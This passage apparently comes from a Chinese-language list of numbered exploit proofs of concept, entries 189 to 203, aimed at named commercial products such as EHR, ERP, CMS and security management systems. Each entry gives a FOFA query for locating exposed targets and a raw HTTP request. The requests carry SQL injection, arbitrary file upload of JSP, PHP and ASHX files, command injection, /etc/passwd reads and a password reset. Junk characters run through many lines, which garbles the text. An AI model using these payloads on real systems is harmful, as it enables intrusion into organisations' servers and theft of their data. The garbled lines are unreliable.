+ X  k0 |- [4 V( M; R" i( v; ]; oGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
8 e7 U6 Z( n5 F3 L9 W2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* `" i) c  e' n3 H' [9 y: [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 ]# ?2 \7 _: dAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  E3 [; ]2 X# W& {" a7 [
, g) f; T' ~0 S' f# Y2 @9 C
# v+ H, S8 t  Y% n189. 蓝网科技临床浏览系统 deleteStudy SQL注入
- Y0 J2 c) M5 ~# O/ YFOFA：app="LANWON-临床浏览系统"
0 n' [; ]4 Y+ h. {' L; c" kGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
) {+ h2 {4 B. A: e3 l4 K9 M( RHost: your-ip
4 G3 U. R( s: Z0 k1 H/ u  f( b3 ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- {# j6 I3 K$ zAccept-Encoding: gzip, deflate
6 V0 \# ~5 g) gAccept-Language: zh-CN,zh;q=0.9
Connection: close
; r! Q& h( _( c$ s! Q8 g$ O
4 \  Z# ?; _! }, w" K+ H/ \( i
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
$ |4 h- \- L: r9 }. J- U1 zPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
( ~5 t+ P; K; [4 S3 T8 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
9 U7 ^  k4 X" r7 ~% }, `" ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
% W. c/ |( i' P% p. H% J' g9 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 e; Y( x: V4 P8 C
4 I. Y0 q- \4 I4 h7 u" J* H! g6 I% {  Jpoi=file:///etc/passwd


( N! B8 I( K# t7 @1 D191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 A- P: e2 J3 Z+ T' P4 g& K
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( x9 d. _4 Q  D2 w' C8 b& n

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
% E& c7 X9 d: QPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
9 B2 n- `2 p+ `7 X/ B$ QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 k$ G, O# f6 b) kContent-Type: application/x-www-form-urlencoded

& q1 R; f; y1 a. x4 S
<% @ webhandler language="C#" class="AverageHandler" %>
" P, h2 f2 q( N  i* xusing System;
using System.Web;
public class AverageHandler : IHttpHandler
{
( t) C3 c6 E: X, fpublic bool IsReusable
! R4 d& x1 h$ m{ get { return true; } }
. [. M% z6 x: A( Vpublic void ProcessRequest(HttpContext ctx)
{
  K& o- g5 K0 |3 _7 C* k' {0 U0 pctx.Response.Write("test");
  U6 w- @* m$ ~! L: o7 X}
1 [: ~: q+ h7 m1 R}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
: F3 B( k9 E: m1 Q8 m, z7 N4 _Host:
) ?$ W2 {. g: a9 R2 rCookie: PHPSESSID=2333333333333;
. J. Y$ @1 }) j1 X" }. bContent-Type: application/x-www-form-urlencoded
& v! S# L' [2 z0 SUser-Agent: Mozilla/5.0
/ l  Q! a: D9 u
' A3 j1 Z1 K6 s2 p( y
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
8 O% f* P( M' l4 f' u# UAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
3 R5 M3 }* Z; c6 `( Q% i3 c' L" yContent-Type: application/x-www-form-urlencoded
Content-Length: 84
$ }, R% a7 x( F1 A! i. C
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
# _8 _4 G+ C1 |* ~* ]& M% t
; Z3 Z+ K, l4 g- w) R1 w
1 L7 _! \% F% b" iGET /master/img/config HTTP/1.1
Host:
! f0 p6 N! C" D8 YUser-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
3 w9 z% z8 ]1 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- M4 K8 T* J2 v4 o' Z! CAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' W- B8 F7 u0 @& C) b
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
3 v9 S. S3 k' q$ ~  [------WebKitFormBoundaryKNt0t4vBe8cX9rZk
; i# Z9 b* p1 x. f; w  l+ k/ DContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

( W: d+ H8 N! o! O
9 S( H/ R5 C0 w! c' d" X) ?" M/ g195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
4 m2 D7 ?1 E1 H* z% ~. I4 Z, U0 aHost: 127.0.0.1
7 S. G$ M0 L% G7 V6 RPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
  I! j6 M' W: |; p7 bAccept-Language: zh-CN,zh;q=0.9
, U& G, u: ?* V6 e, Z4 K6 DConnection: close
Content-Type: application/x-www-form-urlencoded
/ F6 j* g$ b0 MContent-Length: 68
9 ^$ j( ~5 w* u5 g; n* o
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


4 A: z/ K0 J7 B1 N' l196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
: s4 a7 q: @! e, \POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
$ n0 p/ C4 i! Z0 G* u% [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
2 C$ g  d! R* `3 THost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
4 G7 v+ U5 i* E3 fContent-Length: 45
Connection: close
3 {5 m0 F6 g4 f% S7 i
{"xgh":"test","newPass":"test666","email":""}

( `  m1 V! \+ k# ?

7 c) u( ]! R3 m% }197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
% y( c8 p  }7 V$ ~GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
- m! |$ V3 |" h. p- g
: ~  Z! T/ N6 B6 c' l; P4 ?$ H$ R

' w1 H* o. H: i  i" D' d: C198.  阿里云盘 WebDAV 命令注入
4 J* v0 C6 c, PCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
7 j: P4 ]+ E1 A8 g8 uCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
5 Z) H8 ^5 P( b* u
! D* U2 y7 k3 G: i
) o, D5 q/ N& M8 }' k2 C6 t199. cockpit系统assetsmanager_upload接口 文件上传

2 k" Y1 `$ t5 F( w/ z9 P% Z8 h1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
8 Q0 j) ]& {! c( L- ?0 o& ^1 LGET /auth/login?to=/ HTTP/1.1
; o# e- D! R2 U* _, }
' J3 ]5 L$ W) c9 ~, W. v响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

3 u- |0 {7 ~2 j2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
) ]7 d7 w; }! O3 E
7 ~, z& \( c) P# ]2 W{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

; Q6 u" p3 S9 m5 E3 \+ D响应：200，返回值:
. ~& E) ~5 m) x' u5 DSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
6 S! }8 ]' M% Y  }6 }, \  BContent-Disposition: form-data; name="files[]"; filename="tttt.php"
* X1 ~# ^4 X4 ]$ i) A% P6 n5 @, MContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
# B4 m6 u5 ~  d. r: h-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

& n3 O9 F. y$ W2 k  S-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
" {( T$ ~* V; \& A- t  }" N, }FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
3 v1 Y5 K% A, a2 e2 }6 Q/ o( q/ T2 |Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 d. L; Y( e* e2 ~+ eAccept-Encoding: gzip, deflate
5 P2 ~4 i. o  Y9 }Accept-Language: zh-CN,zh;q=0.9
! l0 v) n1 M, U9 a) j
& b( d, C: Q4 m4 t1 x0 q
201. 方正全媒体新闻采编系统 binary SQL注入
. A% w% ?9 H3 ~8 o$ fFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
% \) O$ t8 s. |4 v% B0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( q+ l8 Q& C1 eAccept-Encoding: gzip, deflate
7 h) b, t$ N& a: f2 {  Z# C) H% L6 RAccept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
  O5 |& I4 _& _+ ^, L6 x6 f

, H/ |3 F: U# G" R8 l202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
7 m( c% v! }  N7 ]5 t" @GET /User/AccountEdit.aspx HTTP/1.1
8 P  U/ Q; @0 x4 \( p5 n% H0 `Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


7 o! I! {- |: e$ h, v; w: K. h% H替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
- H# _4 G6 {& Z9 S/ d/ x: |Accept-Encoding: gzip, deflate, br
3 L  Q' e: ]5 ^Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

; G  M1 O% ]' h3 x0 D( G-----------------------------786435874t38587593865736587346567358735687
1 B2 N) A9 z7 H& J/ EContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
% ?  i7 X0 p0 I1 S4 }/ g; `Content-Disposition: form-data; name="__EVENTVALIDATION"
' i* _0 H& k+ s. D+ a% @3 E3 K
) ]8 l; p1 V+ i__EVENTVALIDATION
7 g6 f; W8 N7 F3 E$ g( @-----------------------------786435874t38587593865736587346567358735687
$ E" Y5 E/ R# n; `Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
+ j! P# o: T0 T3 E& ]Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
6 c0 X9 e9 `8 Z% ]: zContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

9 B" q0 R/ x8 L! ^% q
-----------------------------786435874t38587593865736587346567358735687
  `9 `6 h0 N! A, T3 Z/ I0 gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
8 B4 p6 c# {; V

-----------------------------786435874t38587593865736587346567358735687--


  u2 i5 ^3 s: K0 j/ |/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
- Y2 w* r1 Z2 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

& s9 c) S9 }2 J/ ^------WebKitFormBoundaryt7WbDl1tXogoZys4
& c, p9 j9 M; \4 g% l- V* BContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
. H; T# s' D/ T9 C* C2 V- T
9 U) ?/ z- k, v0 N8 |3 u<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

  P1 r3 W( b# j4 R
1 k* S  Y) ]7 Y' Z9 Q

6 j* {* {. h/ k6 X: c
% K( j* o' u( ], X6 D4 v- A